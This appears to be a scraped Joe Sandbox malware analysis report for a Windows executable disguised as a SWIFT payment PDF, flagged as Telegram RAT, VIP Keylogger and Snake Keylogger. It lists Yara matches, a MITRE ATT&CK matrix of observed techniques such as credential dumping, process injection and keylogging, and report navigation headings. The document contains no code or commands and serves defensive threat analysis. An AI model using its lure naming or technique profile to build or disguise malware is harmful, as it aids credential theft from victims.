Source: Yara match	File source: 00000000.00000002.1674455094.00000000044D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 6716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 5804, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	11 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	131 Obfuscated Files or Information	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Swift Copy TT USDUSD$23,401.PDF.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
Swift Copy TT USDUSD$23,401.PDF.exe